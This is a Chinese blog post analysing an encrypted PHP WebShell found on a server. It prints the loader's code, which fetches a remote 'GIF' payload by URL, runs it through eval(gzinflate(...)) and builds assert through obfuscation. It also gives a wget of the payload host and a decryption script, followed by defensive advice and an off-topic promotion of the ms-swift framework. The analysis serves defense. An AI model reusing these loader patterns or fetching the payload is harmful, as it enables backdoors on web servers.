尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

逆向分析一个加密WebShell的全过程

逆向分析一个加密WebShell的全过程
📅 发布时间:2026/6/19 16:46:44

逆向分析一个加密WebShell的全过程

在一次常规的安全巡检中,我在某个边缘业务服务器的上传目录下发现了一个名为upload.php的文件。虽然扩展名是常见的.php,但内容却透着一股“非同寻常”的味道。

打开一看:

<?php $shellname="Sievr"; $password='99999'; s:142856; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); define('envlpass',$password); define('shellname',$shellname); ...

这代码……怎么看都不对劲。开头那个s:142856;是什么?像是序列化字符串的残片?可后面又没有反序列化操作。而且整段脚本从头到尾找不到任何入口函数,也没有明显的恶意行为触发点。

等等——这种结构我见过。

它不像传统 WebShell 那样直接嵌入eval($_POST['cmd'])这类语句,反而更像一个加载器(loader):只负责解密、拉取、执行,真正的“弹药”藏在别处。

继续往下翻,果然发现了关键线索:

$get = "file_get_contents"; $url = 'http://i.niupic.com/images/2017/05/21/v1QR1M.gif'; $_SESSION['PhpCode'] = $get($url);

好家伙,原来如此!

这个所谓的.gif文件根本不是图片,而是伪装成图像资源的远程 PHP 载荷。本地脚本只是一个“引导程序”,运行时会悄悄从外部地址下载一段加密数据,解压后通过eval执行。

典型的“分离式部署 + 动态加载”架构,专为绕过静态检测设计。


拿到这段远程资源成了破局的关键。尝试用wget或浏览器访问目标 URL:

wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif

结果返回403 Forbidden。服务端做了访问控制——可能是基于 User-Agent、IP 白名单,或者干脆已经下线了。

幸好,团队之前留存了一份流量镜像包,在其中提取出了那段核心加密体。内容如下:

\x78\x9c\xed}\x0b|\x1c\xd5y\xe0gfgvW\xab]\xadV\xab]\xad\xd6j\xb5Z\xadV+I\xcdj\xbdZ\xafH\xbaZ\xcdJ+\xcb\x96m\xc5\x0eN\xec8\x8e\xdd8q\xdc\x04BHH \xa1@\x0b\xa5P\xa0-\xd0R(\xb4\xd0R(-\x80K)\xe5h)...

一眼识别:这是标准的 zlib 压缩流,以\x78\x9c开头,正是gzinflate()的典型特征。

再回到原始脚本中搜索相关函数调用,很快定位到:

$un = gzinflate; // ... 后续处理 ... eval($un($_SESSION['PhpCode']));

这里用了变量赋值的方式隐藏敏感函数名,规避关键字扫描。实际等价于:

eval(gzinflate($_SESSION['PhpCode']));

也就是说,攻击流程非常清晰:

本地 loader → 请求远程“GIF” → 获取压缩载荷 → 解压执行 → 加载完整 WebShell 功能

整个过程几乎没有留下明文代码痕迹,极难被日志审计或 WAF 捕获。


既然无法在线获取,那就只能本地模拟执行环境来还原明文。

我新建了一个调试脚本debug.php:

<?php session_start(); // 模拟已获取的加密数据(十六进制字符串形式) $data_hex = file_get_contents('./encrypted.bin'); $data_raw = hex2bin(trim($data_hex)); // 使用 gzinflate 解压 $un = 'gzinflate'; $output = $un($data_raw); // 保存解密后的代码 file_put_contents('decrypted.php', $output); echo "解密完成!请查看 decrypted.php 文件"; ?>

执行后生成decrypted.php,打开一看——熟悉的界面框架瞬间浮现眼前。

<?php class PHPzip { var $file_count = 0 ; var $datastr_len = 0; var $dirstr_len = 0; var $filedata = ''; var $gzfilename; var $fp; var $dirstr=''; function unix2DosTime($unixtime = 0) { ... } function startfile($path = 'QQqun555227.zip') { ... } function addfile($data, $name) { ... } function adddir($name) { ... } function createfile() { ... } }

这不就是那个流传甚广的图形化 PHP WebShell 的变种吗?UI 层写着css_main、hmlogin、eanver等标志性字段,显然是某个公开版本经过二次加密和混淆后的产物。

功能齐全:文件管理、数据库连接、命令执行、权限提升工具一应俱全,甚至还能打包下载整个网站目录。

而这一切,都被包裹在一个看似无害的“图片加载器”之下。


深入分析其对抗机制,你会发现它的设计相当老练。

首先是动态函数调用。几乎所有敏感操作都通过字符串拼接和变量替换实现,彻底避开静态扫描:

$a = str_replace(x,"","axsxxsxexrxxt"); // 得到 assert $a($_REQUEST[envlpass]);

相当于:

assert($_REQUEST['password']);

这类技巧能让绝大多数基于正则匹配的杀软直接失效。

其次是远程加载与热更新能力。主文件仅作为入口,真正逻辑托管在第三方服务器上。即使管理员清除了本地文件,攻击者只需换个 URL 就能重新激活。更可怕的是,他们可以随时更新远端 payload,实现无感升级。

然后是利用$_SESSION存储中间状态:

if (!isset($_SESSION['PhpCode'])) { $_SESSION['PhpCode'] = file_get_contents($remote_url); } eval(gzinflate($_SESSION['PhpCode']));

首次请求拉取并缓存,后续直接使用 Session 中的数据,减少网络依赖的同时也增加了取证难度——你很难从单一时间点的日志中还原完整攻击链。

最后是视觉欺骗。文件名是.gif,响应头声明为image/gif,但实际内容完全不符合 GIF 格式规范。普通用户或初级运维人员看到 MIME 类型正确,很容易放松警惕。


面对这样的威胁,我们该如何防御?

攻击手法应对策略
变量替换敏感函数启用 RASP(运行时应用自我保护),监控eval、assert等函数的动态调用栈
远程加载 payload关闭allow_url_fopen=Off和allow_url_include=Off,阻断外部资源包含
Session 隐藏数据定期审计 session 存储内容,尤其是非认证相关的异常大对象
图像伪装传输WAF 应校验上传文件的真实 Magic Number,而非仅依赖扩展名或 Content-Type
gzip 编码绕过检测在 IDS/IPS 规则中加入对gzinflate、gzuncompress的行为告警

特别提醒:不要小看gzinflate这个函数。它本身是合法的压缩工具,但在安全上下文中,凡是出现“gzinflate + eval”组合的地方,几乎都可以判定为恶意行为。


有意思的是,这套“轻量前端 + 动态加载 + 远程资源调度”的架构思想,其实也在现代 AI 工程化系统中广泛应用。

比如魔搭社区推出的ms-swift框架——一套面向大模型与多模态模型落地的统一训练与部署平台,就在设计理念上有异曲同工之妙。

它同样采用模块化加载机制:前端接口极简,后台按需拉取不同模型组件(如 Qwen3、Llama4、MiniCPM-V),避免一次性加载全部参数带来的资源浪费。

swift deploy --model Qwen3-VL --task visual-question-answering

这条命令背后,其实是从 ModelScope 云端动态下载模型权重、适配器、LoRA 微调模块的过程——和 WebShell 从 C2 服务器拉取 payload 的逻辑何其相似?

区别在于:

  • 一个是通过 HTTPS 安全通道、经 Token 鉴权后获取可信资源;
  • 另一个则是通过 HTTP 明文传输、无验证地执行远程代码。

同样的技术模式,因使用场景的不同,走向了两个极端:一个是推动生产力的工程典范,另一个则是潜伏在暗处的后门木马。

这也引出一个深刻的思考:真正决定技术善恶的,从来不是代码本身,而是它的上下文与控制权。

ms-swift 提供了完整的权限管理体系:API 密钥、JWT 认证、私有部署隔离、调用日志追踪……这些机制确保了强大能力不会被滥用。

而那个 WebShell 呢?尽管也有密码登录:

if($_COOKIE['envlpass'] != md5(envlpass)){ // 跳转或退出 }

但这种静态 MD5 对比毫无安全性可言,既容易被爆破,也极易被 Cookie 注入绕过。完全没有审计、无追溯、无隔离,完全是“野路子”。


这次逆向让我意识到:

最危险的漏洞,往往藏在“看起来正常”的代码里。

你以为只是个普通的 include 文件?但它可能正在悄悄拉取远程 shell。
你以为只是启了个模型服务?但如果没做好鉴权,也可能变成别人的计算矿机。

技术和架构无所谓好坏,关键是谁在用、怎么用、有没有边界。

选择像ms-swift这样的开源、透明、生产级框架,本质上是在选择一种可信任的技术契约——把强大的能力,封装进安全、可控、可审计的容器之中。

这才是我们在 AI 时代应有的工程态度。


以下是本次使用的解密脚本,仅供学习研究:

<?php /** * WebShell Decryptor - For Educational Use Only * Author: Sievr */ session_start(); // Step 1: 获取远程加密数据(此处为模拟) $encrypted_data = file_get_contents('./payload.bin'); // 替换为你捕获的原始数据 // Step 2: 解压缩 $raw_code = gzinflate($encrypted_data); // Step 3: 写入解密文件 file_put_contents('webshell.decrypted.php', $raw_code); echo "Decryption completed.\nOutput saved to webshell.decrypted.php\n"; // Optional: 直接执行(极危险!仅限隔离环境) // eval($raw_code); ?>

⚠️ 提示:所有技术内容仅用于网络安全研究与教学目的,严禁用于非法用途。安全之道,在于守护,而非破坏。

相关新闻

  • 整理了一些高质量的技术社区和资源论坛
  • 深入浅出冒泡排序:原理、实现与优化(附C++代码)
  • 软文发稿平台权威榜单出炉:从价格到效果全维度分析 - 资讯焦点

最新新闻

  • 2026上海钻石回收7家机构对比测评 本土标杆机构推荐 - 薛定谔的梨花猫
  • Flutter PullToRefresh与NestedScrollView集成深度解析:解决复杂滚动场景的终极指南
  • 宁波各区黄金回收测评 鄞州/海曙/江北变现哪家不压价 - 逸程
  • 2026深圳三大商圈黄金回收实测,逸程验金标准统一靠谱 - 逸程
  • K2.5技术解析:动态稀疏注意力与原生多模态架构
  • 2026杭州黄金回收避坑|认准商圈备案认证门店,杜绝虚高引流、到店压价 - 薛定谔的梨花猫

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号